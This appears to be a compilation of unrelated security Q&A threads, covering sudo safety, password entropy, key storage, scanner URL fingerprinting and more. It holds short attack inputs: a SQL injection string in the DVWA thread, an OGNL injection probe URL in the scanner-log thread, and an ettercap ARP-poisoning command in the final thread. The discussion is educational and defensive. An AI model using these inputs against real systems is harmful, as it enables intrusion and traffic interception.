How can one tell if a binary is safe to give sudo permissions for to an untrusted user? sudo is sometimes used to give untrusted or "semi-trusted" users the ability to perform certain tasks as root, while not giving them unlimited root access. This is usually done via an entry into /etc/sudoers, specifying which programs can be executed.

However, some programs may provide more (no pun intended) functionality than expected, such as more, less, man or find, which offer to execute other programs - most notably a shell.

Usually, which programs are safe to execute depends on knowledge of the sysadmin. Certain binaries like echo or cat are most likely safe (i.e. don't allow the user to spawn a shell), while others like the examples above are known to be exploitable.

Is there a way to assess with reasonable confidence whether or not an executable is "safe" when given sudo permissions for? Or is the only way a comprehensive source-code audit?

In response to cat not being safe: Yes, it can be used to read sensitive files as root. In some setups, this may be the intended use-case (e.g. a limited user being able to read as root, but not write).

Furthermore, comments or answers explaining to me that sudo is not the correct way to grant read permissions like this: I know. I am absolutely aware how a file-system should be structured, but due to the nature of my work, I can't influence how file-systems are structured on those servers. All I can do is to see which recommendation fixes the immediate problem. So please, don't challenge the frame of the question. I don't have an XY-problem.

In general, it's impossible to know for sure - even a seemlingly-perfectly-safe program could have vulnerabilities that mean it can be used for arbitrary actions - but here are some things to check for:

Does the program do any of the following?

Reveal the contents of arbitrary files or devices.
Copy, move, write, or delete arbitrary files.
Set / modify arbitrary environment variables (that will be picked up by other privileged processes), or make arbitrary changes to specific ones.
Invoke IOCTLs or otherwise interact with arbitrary devices.
Change ownership or permissions on arbitrary files.
Mount arbitrary file systems, or change mount options on existing ones.
Allow direct access to the memory of the system or of an arbitrary process (such as a debugger).
Allow launching arbitrary programs.

Any program that does any of those is not safe to grant a low-privileged user sudo access to. This rules out, for example, any program with the ability to specify an output file (usually via a -o or -f parameter), process an input file in any way that reveals its contents (even just via a sufficiently-informative error message about the input format being wrong), and the vast majority of script runtimes (including shells).

If you replace arbitrary in those checks with limited or specific, then you've kicked the problem down a step (or several): do any of the things that the program can do lead to such arbitrary happenings, possibly through multiple levels of indirection? For example, if your program allows the user to set a unique environment variable, that will cause a privileged program to read a different file than expected, and that different file will cause the system to allow users to mount an image file of their choice as a file system with the setuid bit respected, then you must not allow untrusted users to run that program.

However, just because a program passes all of these checks still doesn't mean it's actually safe. For example, if it performs certain network actions (such as listening on restricted ports or sending raw packets), it may be unsafe because there might be another program on the network (or on the same machine) assuming that every process capable of doing such things is owned by a trusted user - after all, those actions require root - and you've broken that assumption. Furthermore, the list of bullet points above is just stuff I thought of in a few minutes; there are almost certainly some avenues to privilege escalation that I didn't include.

Finally, as with all security questions, it depends on your threat model.

Is the attacker (untrusted user) local to the machine with physical access, or are they remote? It's extremely difficult to prevent a determined attacker with physical access from getting root, especially if they need to be able to (re)boot the machine without assistance, so consider what risks you're willing to accept.
Is the machine shared among users? Then you need to consider additional cross-user attacks, such as denial-of-service (by consuming excessive resources or rendering the machine unusable).
Do you require non-repudiation (the ability to prove who did something)? Then you need to make sure that you can tie any actions done through sudo to the user who did them.
Do you need to prevent the user from doing some things that even a non-root user usually can do (such as run arbitrary programs in their own user context even if those programs are things like games or cryptominers, or open TCP client connections to arbitrary hosts and ports)? Then you need to additionally consider the means by which you're enforcing this restriction, and prevent running as sudo any programs that might lead to a way for the user to bypass the restriction.

Etc. A truly comprehensive answer is not going to be possible here; it depends on too many things. However, I will say this: it is very hard to ensure an untrusted user, given the ability to run as root any non-trivial program (that was not explicitly designed to be safely run that way), cannot do something unexpected. Even if any one such program doesn't allow anything you find it important to prevent, it might be possible to chain multiple such programs together to achieve the attacker's goal.


Security vulnerability of voice authentication in phone services Having been asked if I want to opt for voice authentication when using a phone service, I was wondering about the security vulnerabilities of an authentication method which is relatively new to me.

Are there already some known security vulnerabilities that I need to aware of? And what are some measures that I can take to minimize the risk and impact of these vulnerabilities?

This is relatively old but we once tried to record my friend's voice and play it as an authentication for his voice detection mechanism.
We were able to fool it only 1 time out of 5.

Also, we made him speak the authenticating words again when he was talking to someone else and caused him to unlock the phone. The attacker was standing just next to him with the phone mic pointing to the victim. Tried this only once

You can test them on your phone.

Other test cases to consider:

If your voice goes bad because of some reason, how does it react.
Changes in voice tone and their effect


Are case-insensitive passwords a bad idea? I recently discovered a service where the password was not case sensitive. I understand basic principles of encryption and hashing so I am a bit worried, is this service storing my password in plain text?

Could you explain to me why being able to login with Caps Lock, when my password is NOT capitalized, is bad? And should I be worried?

More testing revealed that all forms of the password were accepted, such as "HAPPY", "HaPpY" and "hAPPY".

Whether you should be worried or not depends on the sensitivity of what you're protecting.  The lock protecting my filing cabinet holding my taxes and medical information doesn't need to be that secure, and I don't worry that the lock is cheaply designed.  But I want the locks protecting my money to be extremely secure.  It does show that they may not be thinking very clearly about security when designing the system.

Making passwords not case sensitive reduces the number of possibilities dramatically.  A 6 non case sensitive character alphabet only password has 2^28 possible passwords,while a 6 character case sensitive password has  2^34 possible passwords.  This reduced search space makes an attack on a leaked hash database more feasible.

As Jeff Ferland points out below, having caps lock on doesn't mean the site isn't case sensitive.  If I type Password, then hit caps lock, it comes out pASSWORD. The case is merely inverted.  If the site is doing this, then the password is still case sensitive, but merely tries the original, and inverted password.  This merely halves the search space.  That's simply a usability/security tradeoff since people commonly have caps lock on and don't know it, and (at least IMO) a good one.

It's impossible to tell if the service is storing your password in plaintext from this one fact.  It's trivial to just change everything to one case before the hashing is done.


Why isn't it possible to do SQL injection (HIGH Level) in this example in Damn Vulnerable Web App? $query = " $sql = select * from users where id = '$id' "

Won't $id=3' OR '1'='1 break the query ?
The doubt arose because someone claimed it can't be broken.

The high level is meant to be the secure implementation and should be unbreakable.

Looking at the source code you can see that there is verification that $id is a number.

if (is_numeric($id)){

        $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

Therefore it is not possible for the id parameter to be changed to anything that will break the parameter out from the data value context and into the query context.


Does the NSA X-Keyscore apply for HTTPS traffic? See X-Keyscore: NSA tool collects "nearly everything a user does on the internet".
http://www.theguardian.com/world/2013/jul/31/nsa-top-secret-program-online-data

Does anyone have a clue how they collect the traffic in the first place and whether they decrypt HTTPS traffic or not? (For example, by stealing the private RSA key…)

Not many HTTPS sites use perfect forward secrecy.

How would you explain the interception of the Facebook chats? Facebook does use SSL.

Feds put heat on Web firms for master encryption keys:

  If the government obtains a company's master encryption key, agents could decrypt the contents of communications intercepted through a wiretap or by invoking the potent surveillance authorities of the Foreign Intelligence Surveillance Act. Web encryption -- which often appears in a browser with a HTTPS lock icon when enabled -- uses a technique called SSL, or Secure Sockets Layer.
  "The government is definitely demanding SSL keys from providers," said one person who has responded to government attempts to obtain encryption keys. The source spoke with CNET on condition of anonymity.
  The person said that large Internet companies have resisted the requests on the grounds that they go beyond what the law permits, but voiced concern that smaller companies without well-staffed legal departments might be less willing to put up a fight. "I believe the government is beating up on the little guys," the person said. "The government's view is that anything we can think of, we can compel you to do."

How they do it? probably like this (see wikipedia):

  Room 641A is a telecommunication interception facility operated by AT&T for the U.S. National Security Agency that commenced operations in 2003 and was exposed in 2006.

and this:

  GCHQ taps fibre-optic cables for secret access to world's communications
  British spy agency collects and stores vast quantities of global email messages, Facebook posts, internet histories and calls, and shares them with NSA, latest documents from Edward Snowden reveal


How long does a passphrase have to be to be as secure as a random collection of letters, digits, punctuation, etc.? If one uses a passphrase which is grammatical, such as "I put my keys under the doormat because they're safe there."... how many words (on average) must it contain to be as secure as a password with ~ 14 characters, such as 28fjha9;582g-jg ? (say we allow 26 lowercase, 26 capital, 10 digits and 10 punctuation, so total of 72).

I've heard people say that only a few thousand English words are commonly used, so let's say that there are 5000 possible words. If the passphrase were not grammatical, then using 8 words would give us better entropy than a 14-character password (assuming the words weren't all super short).

  5000^8 = 3.906*10^29 and 72^14 = 1.006*10^26

However, if our passphrase is grammatical, I would think this severely restricts the number of combinations.

Given this restriction on the passphrase, how long does it need to be in order to be as secure as a 14-digit password randomly composed of ~ 72 characters? What about if we apply some restriction on the password as well, expecting that it will be mostly composed of dictionary words and a few extra characters?

EDIT: I just realized my calculation of 5000^8 also doesn't take into account punctuation and capital letters, so presumably it would be much better than that.

Shannon's original paper on the subject and further research gives grammatical English about 1.3 bits of entropy per character.  You can compute the entropy of a random password by raising the character space to the power of the length of the password, and then taking the log base 2 of that value, eg. an n-character password created using the 96 printable ASCII characters would have an entropy of log2(96^n).

From this, you can compute the length of English text needed to get the same security.  For example, an eight-character random password is equivalent to (log2(96^8)/1.3), or about a 40-character sentence.


IMEI and phone number given to unknown sources. What are the risks? The facts:
A friend put his phone number (and possibly the IMEI) for his android device into some kind of hacking PC software that promised to (and actually did) extend his Whatsapp account that was about to expire. We all know Whatsapp uses your number as user-name and the device IMEI (reversed and md5-hashed) as password. Certainly his account was compromised: someone would have been able to steal all his account data. This is why I completely deleted his account and uninstalled the app.

Disclaimer:
I've read the security.stackexchange.com question What is the risk of leaking IMEI / IMSI numbers over a network but it's related to mobile device privacy and installed applications.

Now, my concern is:
Is it now possible to "clone" his device and possibly being claimed as responsible for misuses that he clearly didn't do? According to this source, should be possible.

Firstly and most likely, the phone number may be sold to lists that are bought for spamming, spoofing, phishing schemes, etc. There are quite a few 'bad' consequences to having your phone number leaked but none that are particularly nefarious (although attackers can try to infect your phone via an sms'd link).

In regards to the IMEI, this is just a device ID and really doesnt mean much if you are trying to 'clone' someones phone (instead you need the IMSI number for that). The article you linked to says:

  Picture this scenario: You post your IMEI number on a website looking
  for an unlock code. Several months go by and you get a phone bill for
  $3,000 and details of calls that you've never made. Someone has cloned
  your phone and has been using your account, unknowingly to you.

That's not entirely accurate because it leaves out how the attacker actually clones a device. To clone a device, one must identify the device to clone. On a GSM devices, this is done by copying the SIM card and obtaining the IMEI number. The SIM card contains the IMSI number and together with the IMEI number, the attacker must listen and decode a the transmission key also known as the 'KI'. Once all of that is completed, you then could have a cloned device (well you still need to put it on a modified phone but that's a different story).

Bottom line, I would be far more concerned about my phone number being leaked as a privacy concern than my IMEI being leaked.

Also bear in mind that IMEI numbers change with each phone and that changes quite often for many people. If you are really concerned, change phones and get a new phone number.


Do any DNS registrars support multi factor authentication? I am looking for a DNS registrar that supports strong multi-factor authentication.

Does any DNS registrar support multi-factor?
Is this a legitimate need?

I'd say that this could definitely be a legitimate requirement.  Control over DNS records for a domain can give a lot of power to an attacker (adding new hosts in a domain for a phishing attack or even redirecting a comapanies home page), so protecting it from attack is important and as with all publicly accessible high-value services, using 2-factor auth is good thing to consider.

As to providers that support it DNSimple is one that does.


GnuPG - Problems with large RSA keys I have read that GnuPG limits the size of RSA keys to 4096-bits because this could lead

to problems with running out of secure memory. But in which operation is this the case?

Generating the keys? Encryption? Decryption? Signing? Verifying? All of them?

I have now modified the source code of GnuPG to allow me to generate 8192-bits keys just to test, and am generating such a key as I write this post. I have also increased the size of secure memory to 65K.

Can I expect problems with other PGP implementations with 8192-bit RSA keys?

First of all, I feel you are quite a mysterious person because no one could pretend to break 4096-bit RSA in the foreseeable future so I wonder why you need such a very long key.

Coming back to your questions now:

  But in which operation is this the case? Generating the keys?
  Encryption? Decryption? Signing? Verifying? All of them?

RSA keys are used in GnuPG for 2 reasons only:

To sign communications
To encrypt files.

  Can I expect problems with other PGP implementations with 8192-bit RSA
  keys?

The answer is Yes in case:

The destination person won't be  to decrypt messages with standard secure memory limits he/she has already set by default unless if he modifies that default setting.
The destination person does not have a hardware as good as yours since there is lot hardware not supporting  anything bigger than 2048 bits (there are even platforms that do not handle the memory locking mechanism used to generate RSA keys)


Security risk of letting someone else setup an account for me using an email address I own? So the thing is that a friend of mine wanted to buy me as a gift a game on Steam, but I didn't have an account, so what he did was create an account for me, with my own email, and with a random password, and he suggested me to then change it. Of course I had to go to my own email and click the "confirmation link" in order to validate the email address first, and then change the password.

The thing is that I trust this friend in this case, but I was just wondering if there is any risk of doing this. The account is linked to my own email, and the password has been changed, so I think there is no risk, but this seems a bit awkward to me, so makes me thing there may be any risk involved here.

Let's start with the general case...

The email in usually the main verification point for an account, so since you control the email address it would be difficult for someone else to reset the account or take action without you knowing. However, there are a few possibilities:

Poor session management by the service: If your friend logged in with the account and never logged out, even if you changed the password he could still remain logged in. A best practice for the website would be to invalidate all active sessions when a password is changed
Account recovery which can bypass email: Some services allow you to reset and regain control of the account with a backup email, a phone number, or by answering challenge questions
Social Engineer Support: If there is a human element there is always the chance that via email, live chat, phone, etc. someone could social engineer their way into gaining access to their account if they know enough information

In the case of steam, you can review their account recovery FAQ. From an initial read it looks like you may be able to recover an account with key information and without email access, but I have not gone through the process to try it out.

Steam offers a 2-factor authentication option, which could help to prevent these types of attacks, but I am not sure how they would handle attempted social engineering when the attacker claimed they lost access to the 2-factor solution. Check out Steam's guide to securing your account.

In general, I would not recommend having other people setup your account on your behalf.


TLS- Key exchange for session keys. Why? I have a question about the Key Exchange Algorithm used in TLS process.
I have read that the Key Exchange algorithm is used by client and server to exchange session keys.
Do the client and server exchange session keys at the end of Handshake process? If they arrive mathematically at the same results for session keys at the end of the process, why would they exchange them?

When you use the term, 'exchange session keys', I think what you are really referring to is the fact that the client and the server exchange ECDHE public keys.
See https://tlseminar.github.io/first-few-milliseconds/ for a write-up on how TLS 1.2 works.  You'll see that in the ServerKeyExchange message, the server sends its ephemeral public key.  Then, after that, in the ClientKeyExchange message, the client sends its ephemeral public key.
Once the two sides have one-another's public keys, the server calculates the pre-master secret by multiplying its private key with the client's public key.  Then, the client does the same by multiplying its private key with the server's public key.  This produces the same result, so the client and the server both come to the same pre-master secret.  Then, finally, the master secret is derived from the pre-master secret.


ECC for future IoT devices? Elliptic Curve Cryptography(ECC) is one of the powerful cryptographic methods that requires less computational effort.

IoT requires a cryptosystem that secures smart services and applications (5As i.e. anywhere, anytime, anyhow, any device and network agnostic) via its
Intelligent Smart Card (ISC).

Would this be a suitable cryptosystem for Internet of Things(IoT)?

Yes, why not. Key generation (including key generation for ECDH) and private key operations are relatively efficient compared to other cryptosystems such as RSA.

There are some things to keep in mind:

standard ECC operations such as ECDSA do require a good random number generator to be present (this can be avoided by using deterministic signature schemes such as described in RFC 6979;
the small key size makes it relatively simple to use quantum computers to break the system (calculations on smaller number mean less qubits required).

RSA keys of the same strength are only 4 times harder to crack on a QC if current research is any indication. That may not be much of a difference when push comes to shove.

Note that although ECC is relatively efficient compared to RSA, it still requires a fast (Montgomery) multiplier. On smart cards this is usually implemented in hardware - and with good reason. Compared with symmetric crypto, it's still a dog; doing 256 bit modular exponentiation on a 8 bit processor may take - ahem - some time to complete.

You might also require side channel attack protection as well.


Is scanning via source ports still relevant/advised? Does it still make sense to scan using a source port with Nmap when doing host or service discovery?

This would have made sense back in the day, but with statefull firewalls being prevalent, where source port scanning would not help, does it make sense to do source port scanning as part of a penetration test to help in discovery?

Or to put it simpler, does source port scanning have a place in a modern penetration testing methodology?

Yes, it's worth trying.

It doesn't add much time or effort just to try the commonly used source ports.
There are still plenty of people running old or inappropriate devices as "firewalls".
No matter how shiny and stateful a firewall is, it has no defense against an administrator who opens by source port because they learned it that way (on a Cisco router, no doubt) or because they cut and paste something they found on Google.

Seriously, don't discount #3.  I worked with a Check Point administrator - 90% of his job was Check Point - who dutifully created two rules which bidirectionally mirrored each other whenever access was asked for.  He simply did not understand what stateful meant, and he kept writing things that looked like router ACLs, no matter how many times I came over after security review and said "This does not do what you think it does."


Does malware persist after wiping hard drive and reinstalling OS from manufacturer disc? This question is related to a computer where users other than the owner have had access for periods of several hours at a time. The following steps have been taken to clean the computer:

Used partition assistant to erase both the main partition and the recovery partition.
Initiated a clean install of Windows using a recovery disk purchased from the manufacturer.

If one performs the following steps, will it remove all malware from a compromised computer? If not, are there any further steps that should be taken to protect the computer against malware in the firmware or other hard-to-access locations?

Yes, and there have been cases of this being stored in different areas on the computer one classic example can be found at the following URL:

http://www.pcworld.com/article/2948092/security/hacking-teams-malware-uses-uefi-rootkit-to-survive-os-reinstalls.html

This article goes into a little more detail on how this works

http://arstechnica.com/security/2015/02/how-omnipotent-hackers-tied-to-the-nsa-hid-for-14-years-and-were-found-at-last/

Another interesting area is having malware stored in video cards, although this may not be persistent in the future this type of attack may become very interesting.

http://arstechnica.com/security/2015/05/gpu-based-rootkit-and-keylogger-offer-superior-stealth-and-computing-power/


Location to store an encryption key I'm building a secure system which stores messages on a server in a Postgresql database. The messages are stored encrypted with PHP's openssl_encrypt() function with the AES-256-CBC method.

At the moment the key used for this function (lets call it the ApplicationKey) is stored as a file on the server with only read access for the www-data user (0400).

But the file exists on the server....Something I actually don't want. So I constructed another layer of security which takes the key locally via a UserHash.

The definition of the new layer:

Instead of storing the key in plain text on the server's file system, I create an encrypted version of the ApplicationKey per user and store these in the database:

  UserCipherKey = encrypt(ApplicationKey with UserHash)
  storeInDb(UserId, UserCipherKey)

The table then contains the encrypted cipher from the ApplicationKey from every user.
This UserHash used to encrypt is constructed via:

  UserHash = sha256(UserPassword+UserName+Blowfish)

Where both UserPassword and UserName are filled out by the client, the Blowfish comes from the server. This UserHash is the key to the ApplicationKey to unlock the encrypted message.

Because I don't want the user to enter his/her password every time he requests a page I want to store the UserHash some where, preferably with a time limit eg 30 minutes of inactive use.

It sounded right to use a PHP session for this as it's bound to the client, the client closes the window-> session gets destroyed; after inactivity the session gets destroyed etc... But the data in this session is also stored on the servers file system; so we're back at square one.... Because if the filesystem gets compromised the directory with the sess_* files will be exposed and so will the hashes be...... You see my concern?

My problems / concerns
1 - If I want to store the UserHash locally, is there an other thing to use then the php-session. Is using HTML5's Local Storage better/safer then php-sessions?

2 - If someone looses his/her password, and we need to reset it; what is the best way to do this?

3 - Or am I doing something terribly wrong?

As I understand your situation:

You have to store, on the server, some data ("messages") which the user must be able to read.
The server may be able to read the data at some point, if only transiently.
But the server should not keep this power permanently. If an attacker steals a complete copy of the server hard disk (e.g. a full backup), then he should not be able to read the data.
The user, being a user, has very little storage capacity on his side; at best, he may remember a password and/or possibly a recovery code which the user wrote down on some paper at his home (but while the user may accept to type his password on a daily basis, he will refuse to enter a huge, fat recovery code that often; the "recovery code" should be a way to recover from a forgotten password).

Under these conditions, the only possible solution is that some password-based encryption is done. Indeed, the combination of the data stored server side and the user password should be enough to recover the data. Since we are talking about the Web, the client is feeble, when it comes to computational tasks; so the encryption and decryption will have to be done on the server. Anyway, you want the decryption to be done on the server, so that any data formatting (turning the message into HTML) occurs on the server as well.

What you describe is not far from the truth (where "the truth" is "the best you can hope for"). Namely, you will have to do the following:

For each user, there is a user-specific symmetric key Ku. That key is generated server-side when the user account is created, with a strong PRNG, and has appropriate length (say 128 bits -- 256 bits are overkill, but hey, go for 256 bits if you need a big number to woo investors).
For each user, a "recovery code" Ru is generated along with Ku, with similar characteristics. This will be used if the user forgets his password. The encryption of Ku, using Ru as key, is stored on the server (let's call it Fu). Ru is sent to the user, with instructions to print it or write it down and store it safely.
Each user has a password Pu. A hash of the password is computed on the server, using a good password hashing function like, indeed, bcrypt. This operation requires a user-specific random salt Su, which is stored on the server. The hash value is extended into some bits (say, 256 bits) with a key derivation function. If you only need 256 bits, then SHA-256 will fit nicely as a KDF.

Note that we want to extend the hash output only; most bcrypt libraries produce an output as a string which encodes the salt and the hash output. You want to recover both values separately, because you want to store the salt, and you want to have the hash output alone for input to the KDF. It may be simpler to replace bcrypt with PBKDF2: PBKDF2 is its own KDF (output size is configurable) and most PBKDF2 implementations already handle salt and output separately.
The KDF output is split into two halves (e.g. two 128-bit values). The first half is Vu, and is the password verification token. The server stores it. The second half is used as a key to encrypt Ku; that encrypted value (let's call it Eu) is stored on the server.

So, for the user U, the server stores Su (the user salt), Fu (the encryption of the user key Ku with the recovery code), Vu (the password verification token) and Eu (the encryption of the user key Ku with the password-derived key). All "messages" for user U will be encrypted with key Ku.

When the user logs in, he sends his name (U) and his password (Pu). Using U as index, the server recovers the stored data. With Pu and Su, the server recomputes the password hash, then extended with the KDF. If the first half of the KDF output is not equal to Vu, then the user's password is wrong, and the user shall be rejected. Otherwise, the user is authenticated (the server has some guarantee that the client is indeed the genuine user U), and the second half of the KDF output can be used to decrypt Eu, yielding the key Ku. At that point, the server knows Ku and can do all the encryption/decryption business.

If the user wants to change his password, then a new salt will be generated, the new password entered, the hash function computed again, yielding a new verification token, and a new Eu. The key Ku, though, is not changed, so the stored messages need not be touched in any way.

If the user forgets his password, then the recovery code can be used as a sort of "alternate password" in order to recover Ku, at which point we are back to the "password change" situation.

Now for some important notes.

When the server learns the user key Ku, then the server should keep it in RAM only. You do not want Ku to hit the disk (that's the whole point of the exercise). Therefore, you shall mind a few thing:

PHP sessions are written to disk. What you put in session variables become files ! But you can choose the destination; e.g. you can use a RAM-based filesystem that will be shown to PHP as files, but is really RAM. Alternatively, there is a shared memory support so that no file at all is created (this may be safer; if an attacker hijacks the live server than he can read all files, including those on tmpfs; but such an attacker could also plunder PHP's RAM directly, and read all session data anyway).
Virtual Memory, aka "swap space", can induce the kernel to write to disk what is usually in RAM. Swap space is not backupped, but that's still writing. An industrious attacker will scan your garbage cans in search for old, discard hard disks. If a disk fails (electronic board fried), then you cannot wipe out its contents (at least, not easily), but the attacker may recover the data (by replacing the board).

It might be a good idea to disable swap altogether. Running without swap is fine as long as you have sufficient RAM; and you really want to have sufficient RAM anyway because hitting swap space really kills performance, especially in GC-based languages like PHP. Virtual Memory is one of these ideas which were very good.
To some extent, what you do not want to put in session variables can be stored as a cookie on the client. Cookies are not really permanent (if the user has several devices, cookies might not be shared between his browsers) but they can benefit from some "secure storage" -- as secure as things can get on the user's computer.
You are talking about messages... so maybe you want to encrypt some data for a user, when this user is not logged in. In that case, the server might not know Ku. To solve this problem, you will need asymmetric encryption: make Ku the private key of a pubic/private key pair, the public key being stored "as is" (unencrypted) in the database. Encryption uses the public key, while decryption requires the private key.

Doing asymmetric encryption properly is kind of complex; it requires the assembly of several cryptographic algorithms, and there is ample room for devastating mistakes that cannot be detected with tests. You are warmly encouraged to rely on an existing format and software; e.g. GnuPG bindings for PHP.
I strongly hope that all communications between client and server use SSL, i.e. HTTPS; and any relevant cookies are marked HttpOnly and Secure.


database of URLs used by penetration tools When someone is using a penetration test tool on my site sometimes I can find out what tool is that by looking at the user agent strings in the logs. But sometimes I can't because the tool uses a browser's user agent.

Is there a database with common URL patterns that each penetration tool uses?

For example here are some URLs for which I'd like to know which tool was used:

/server-info
/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type%3DServer
/Account/Register.aspx?ReturnUrl=
/roller-ui/login.rol?pageTitle=${new%20java.lang.Integer(100244%2b99553)}
/solr/select/?q=test

In all of your examples, those URIs can (or, well, should) generally be reached by every penetration testing tool. Most tools such as web application security scanners (and often even web application security proxies) implement a crawler (sometimes called a spider).

Crawlers perform link extraction. Link extraction can be benchmarked using a tool such as WIVET. Some tools perform automated form submission, or utilize fault injection. You can sometimes signature penetration testing tools based on this latter information. As an example, Burp Suite submits forms that often contain the name Peter Wiener.

Don't underestimate the power of adversaries to deny or deceive you. Identifying advesary weapons is a common military practice called TECHINT. It could be that an adversary wants you to think that he or she is running a certain tool when they are not -- and it could be that they are noticing that defenses are changing to block their specific tool, so an adversary response would typically be to change things up, i.e., use different tools.

UPDATE (after questioner's comments on why and well as looking at his list again):

Based on the roller-ui URI attack, this is based on an exploit for Apache Roller that relies on OGNL injection (CVE-2013-4212). The exploit was written for Metasploit, but based on some of the other attacks, such as the Solr select check, I can't conclude that Metasploit was used against your website. It looks like it may be a custom tool. Strangely, the JBoss jmx-console/HtmlAdaptor vulnerability appears to be CVE-2007-1157, but that's a strange check for CSRF when compared to the others which are geared towards remote code execution.

SECOND UPDATE -- based on the following two blog posts, I can conclude that Acunetix does check for /solr/select, /server-info and /Account/Register.aspx?ReturnUrl :

https://drjohnstechtalk.com/blog/2012/08/dos-attack-from-south-korea/
https://www.soldierx.com/bbs/201307/Acunetix-5031240223


Should I use my personal laptop to login into company portal? My company has a portal https://company.com which can be accessed without vpn. In fact, it shows up in google search if you know the name of the portal. This portal grants access to email and non critical things like company social media etc. But, it does not give access to source control and such.

Is it advisable to access the company portal from my personal laptop ? One reason against this is that there is a chance that my personal laptop could have hidden malware because its used for non work stuff, nothing illegal though. Any other reasons for this ?

Access to company email is more than enough to cause anyone pause before accessing with a personal device. You might not have access to code repos, but you have access to a lot with email.

The problem here is having access to company emails on your personal device. Malware isn't a huge threat, but theft or compromise of your device is. If someone can gain access to your work email through your device (of dubious security), that's a problem.

That's just an initial response from someone who has written policy around such things given the few details you provide. I'd want your personal gear far away from corporate email.


LastPass installer scary message about sideloading I've been using LastPass for years, generally through the original Chrome extension.

In recent months, certain features of the extension have been totally broken, such as the ability to share passwords or the ability to generate new random passwords.

(Their support team has been unhelpful, as others have experienced too, such as here.)

So I figured I'd completely uninstall the extension and install again.

When I downloaded the LastPass Universal Windows Installer at https://lastpass.com/misc_download2.php, it prompted me with an user-unfriendly message (perhaps inexcusably user-unfriendly, given the security-related nature of the app):

  To install the UWP application we will enable sideloading on your
  machine. Are you sure you want to continue?

I don't know what that means, but it sounds like a security risk on the app that I most want to be secure.

I found Microsoft docs that seem to inform developers:

  To sell your Universal Windows Platform (UWP) app or distribute it to
  other users, you need to package it. If you don't want to distribute
  your app through Microsoft Store, you can sideload the app package
  directly to a device or distribute it via Web Install.

What does that mean? What are the risks for me as a user?

There's no more risk installing LastPass by sideloading than there is installing/running any other executable that you download. And since LastPass is well-known and trustworthy, it's basically no risk at all. Microsoft is intentionally making it sound much more dangerous than it is in an attempt to strong-arm everyone into their store.


Malware possibly infecting my personal website I recently set up a personal website. It contains nothing but a few pieces of information presented in a pretty way; there's no associated database or anything, it wasn't even wordpress - just hardcoded HTML and CSS with some very rudimentary javascript. Because the site was so minimal, I opted not to pay for an SSL certificate or use any sort of Malware protection. I hosted it through Hostgator with a secure, randomly generated account password and assumed that would be enough. There are probably 100 or so people who will need to look at this website over the next year or two, and after that I will probably take it down.
I made a small modification to the HTML today, and went to upload the changes. As I was doing so, I opened the site in a new tab, and saw to my horror a large banner at the top asking "Are you the account owner?" with a message allegedly from Optimum with a phone number to call and a link to click. Sadly, overwriting the index.html appears to have made the message go away and I did not have the foresight to take a screenshot before refreshing.
Now, it's possible Hostgator added that themselves and it only showed up for me, since when it showed up the favicon of the site changed to Hostgator, but this seems unlikely and I believe it was likely some sort of malware. Note however that this banner was not there 2 weeks ago and I only visited the site after logging in to my Hostgator account.
So, owning that it may have been stupid not use SSL or Malware protection, I have 3 questions:

Was this Malware?
If it was, then how exactly did it modify the html on my site?
What's the cheapest way to prevent it from happening again?

Thanks in advance.

Being that you were not connected to the site via HTTPS, there are two ways that the unexpected content that you saw could have been injected:

An attacker gained access to your web server, and modified the HTML page, and injected the content there.

An attacker on the network somewhere between your web server and your web browser injected the content into the HTML page that you requested 'on the fly'.

Securing your site using an SSL certificate, and allowing only https connections to your site, will eliminate the possibility of (2) happening again.  This can be done very inexpensively - you can get an SSL certificate from Let's Encrypt free of charge, and mnay other CA's offer certificates for less than $10.00/year.


How do I respond to a spam server that invalidates my tokens? Our web application sends a one-time use generated token, in the form of an URL, to clients who forget their passwords. This works except for the case where the client is sitting behind another server that scans their email for URLS and does a GET on the URL. I'm assuming the server is checking for a malicious payload.

The client opens the email and clicks on the link, but obviously nothing happens because the token is invalid at that point.

I can think of some ways of handling this:

• Instead of expiring immediately, allow the token to be valid for a certain time period. Disadvantage: This circumvents the whole point of a one-time use token since the token can be used multiple times. Plus it may not solve the problem if the user decides to open their email PAST the expiration time.

• Make the token good for two uses. Disadvantage: similar to the above. What if the spam checker "checks" the URL again... Sigh.

Anyways, I'm looking for some wisdom here on how to handle this. If there are better ideas than what I've proposed I'd love to hear them.

EDIT: I cross-posted this at programmer.stackexchange. Go there for a little more discussion, but the answer I selected below is basically the same answer.

The problem you're running into is that GET is supposed to be both "safe" and "idempotent": that is, calling it isn't supposed to make any change on the server, and calling it many times should have the same effect as calling it once.  From a standards standpoint, you should be using a POST to use the token.

Obviously, you can't do that from an email.  One option is to have the link in the email not actually do anything -- it's just a link to a page that does the real work.  Clicking a button or otherwise causing a POST from that page would be the one-time action that expires the token and does whatever your forgotten-password handling involves.


Is there any downside to always declaring some default bad chars when generating exploits? When setting the bad chars for shell code, is there any downside to just assuming that you should mark \x00 and \x0a as bad?

For shellcode the only potential issue is size constraints. But assuming null bytes are bad is a bad habit. You might mistakenly think a crash is not exploitable because the only viable pop pop ret/ROP addresses start with a null byte.

Determining exact bad bytes isn't too time consuming and I always recommend doing it as it can save time if you need to troubleshoot your shellcode.


Ettercap error - 'ARP poisoning needs a non empty hosts list' I use Kali linux VirtualBox VM with its network adapter attached to NAT.

I checked that it is connected to the internet [made a simple apt-get update].

I run this command in a terminal:

for ip in $(seq 1 254); do ping -c 1 192.168.2.$ip>/dev/null; [ $? -eq 0 ] && echo "192.168.2.$ip UP" || : ; done

And it returned:

192.168.2.1 [the router]
192.168.2.2 [android phone or box]
192.168.2.3 [android phone or box]
192.168.2.6 [kali VM, I got it from the Win10 host with ipconfig]

I have an android phone and a tv box on the LAN. I just want to capture the phone traffic to learn the MiTM attack.

So I run:

ettercap -Tqi eth0 -M arp /192.168.2.2// /192.168.2.1-10//

[for now I suppose 192.168.2.2 is the phone] and it returns:

ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team

Listening on:
  eth0 -> 05:00:15:28:06:D4
      10.0.2.15/255.255.255.0
      fe90::a00:28ff:fe28:6d4/64

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0.
Privileges dropped to EUID 65534 EGID 65534...

  33 plugins
  42 protocol dissectors
  57 ports monitored
20388 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Lua: no scripts were specified, not starting up!

Scanning for merged targets (10 hosts)...

* |==================================================>| 100.00 %

0 hosts added to the hosts list...

FATAL: ARP poisoning needs a non empty hosts list.

